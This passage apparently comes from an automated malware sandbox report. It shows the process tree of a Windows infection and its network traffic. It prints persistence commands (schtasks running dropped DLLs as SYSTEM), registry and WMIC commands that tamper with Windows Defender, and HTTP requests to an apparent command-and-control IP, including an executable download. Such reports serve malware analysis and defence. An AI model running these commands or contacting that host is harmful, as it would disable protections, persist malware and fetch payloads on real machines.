                                                                                                                                                                                                                                                                                                                                                                                                                        schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\ADJLsahCU\taHDKr.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "FPieTEPPuEmJrhC" /V1 /F
                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                        • Drops file in Windows directory
                                                                                                                                                                                                                                                                                                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5548
                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                        schtasks /CREATE /TN "FPieTEPPuEmJrhC2" /F /xml "C:\Program Files (x86)\ADJLsahCU\TkZZiFo.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1000
                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                        schtasks /END /TN "FPieTEPPuEmJrhC"
                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5772
                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                          schtasks /DELETE /F /TN "FPieTEPPuEmJrhC"
                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1296
                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                            schtasks /CREATE /TN "RMEgILKoRohUOb" /F /xml "C:\Program Files (x86)\DQANlvmTAvZU2\dmtjbsI.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5608
                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                            schtasks /CREATE /TN "zeKFSgsyWsBDI2" /F /xml "C:\ProgramData\VyWMmqtuSNndeGVB\RCYABVl.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1308
                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                            schtasks /CREATE /TN "VMffJjKqhXQmtrZGW2" /F /xml "C:\Program Files (x86)\AymmxTCbqblaRZJGVqR\kffpbWL.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5376
                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                            schtasks /CREATE /TN "iNxHEAmPUdTkVvEiVFU2" /F /xml "C:\Program Files (x86)\PZjcxajBIsNTC\AeUdSxr.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1660
                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                            schtasks /CREATE /TN "rrqYunoktxOQmCoCX" /SC once /ST 00:57:06 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\WPGfhLqOzAIwKSwi\eFHRetel\RYrSykJ.dll\",#1 /wdidDBjK 385118" /V1 /F
                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                            • Drops file in Windows directory
                                                                                                                                                                                                                                                                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5296
                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                            schtasks /run /I /tn "rrqYunoktxOQmCoCX"
                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                              PID:3168
                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                              schtasks /DELETE /F /TN "XyyyteIMwZeutaZuw"
                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5984
                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                PID:3008
                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\Temp\WPGfhLqOzAIwKSwi\CKEIBaXuklpWnmi\BOjWjPK.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\Temp\WPGfhLqOzAIwKSwi\CKEIBaXuklpWnmi\BOjWjPK.exe GH /yEcjdidiB 385118 /S
                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                • Checks computer location settings
                                                                                                                                                                                                                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                                                                                • Drops Chrome extension
                                                                                                                                                                                                                                                                                                                                                                                                                                • Drops file in System32 directory
                                                                                                                                                                                                                                                                                                                                                                                                                                • Drops file in Program Files directory
                                                                                                                                                                                                                                                                                                                                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                                                                                                                                                                PID:6108
                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:3100
                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2240
                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                          /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:3576
                                                                                                                                                                                                                                                                                                                                                                                                                                            • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:3068
                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                            forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2508
                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5752
                                                                                                                                                                                                                                                                                                                                                                                                                                                  • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5940
                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                  forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:6096
                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2296
                                                                                                                                                                                                                                                                                                                                                                                                                                                        • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5744
                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                        forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:4416
                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                            /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:4052
                                                                                                                                                                                                                                                                                                                                                                                                                                                              • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6088
                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                              forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2084
                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:4612
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Drops file in System32 directory
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1316
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\gpupdate.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:948
                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  schtasks /DELETE /F /TN "bbmnnUCIPYyTQrzMQJ"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:4928
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5440
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5608
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5908
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Drops file in System32 directory
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5912
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5280
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\ADJLsahCU\kQXBrh.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "FPieTEPPuEmJrhC" /V1 /F
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • Drops file in Windows directory
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:4524
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            schtasks /CREATE /TN "FPieTEPPuEmJrhC2" /F /xml "C:\Program Files (x86)\ADJLsahCU\OMkzxpk.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5216
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            schtasks /END /TN "FPieTEPPuEmJrhC"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2468
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              schtasks /DELETE /F /TN "FPieTEPPuEmJrhC"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5432
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                schtasks /CREATE /TN "RMEgILKoRohUOb" /F /xml "C:\Program Files (x86)\DQANlvmTAvZU2\njSEOFi.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:4604
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                schtasks /CREATE /TN "zeKFSgsyWsBDI2" /F /xml "C:\ProgramData\VyWMmqtuSNndeGVB\UljLQGo.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5792
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                schtasks /CREATE /TN "VMffJjKqhXQmtrZGW2" /F /xml "C:\Program Files (x86)\AymmxTCbqblaRZJGVqR\GjZweIc.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2572
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                schtasks /CREATE /TN "iNxHEAmPUdTkVvEiVFU2" /F /xml "C:\Program Files (x86)\PZjcxajBIsNTC\hrYOUXY.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1744
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                schtasks /DELETE /F /TN "XyyyteIMwZeutaZuw"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5976
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\rundll32.EXE
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\WPGfhLqOzAIwKSwi\eFHRetel\RYrSykJ.dll",#1 /wdidDBjK 385118
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6124
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\WPGfhLqOzAIwKSwi\eFHRetel\RYrSykJ.dll",#1 /wdidDBjK 385118
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Blocklisted process makes network request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Checks BIOS information in registry
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Enumerates system info in registry
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5408
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      schtasks /DELETE /F /TN "rrqYunoktxOQmCoCX"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5776
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Checks BIOS information in registry
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Identifies Wine through registry keys
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2392
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\1000088001\NewB.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\1000088001\NewB.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5312

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Network

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-ru
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    POST
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http://193.233.132.56/Pneh2sXQk0/index.php
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    explorha.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    193.233.132.56:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    POST /Pneh2sXQk0/index.php HTTP/1.1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Host: 193.233.132.56
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Length: 4
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Date: Mon, 06 May 2024 01:31:09 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Refresh: 0; url = Login.php
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-ru
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    POST
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http://193.233.132.56/Pneh2sXQk0/index.php
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    explorha.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    193.233.132.56:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    POST /Pneh2sXQk0/index.php HTTP/1.1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Host: 193.233.132.56
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Length: 160
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Date: Mon, 06 May 2024 01:31:09 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-ru
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http://193.233.132.56/lend/swiiiii.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    explorha.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    193.233.132.56:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET /lend/swiiiii.exe HTTP/1.1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Host: 193.233.132.56
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP/1.1 200 OK
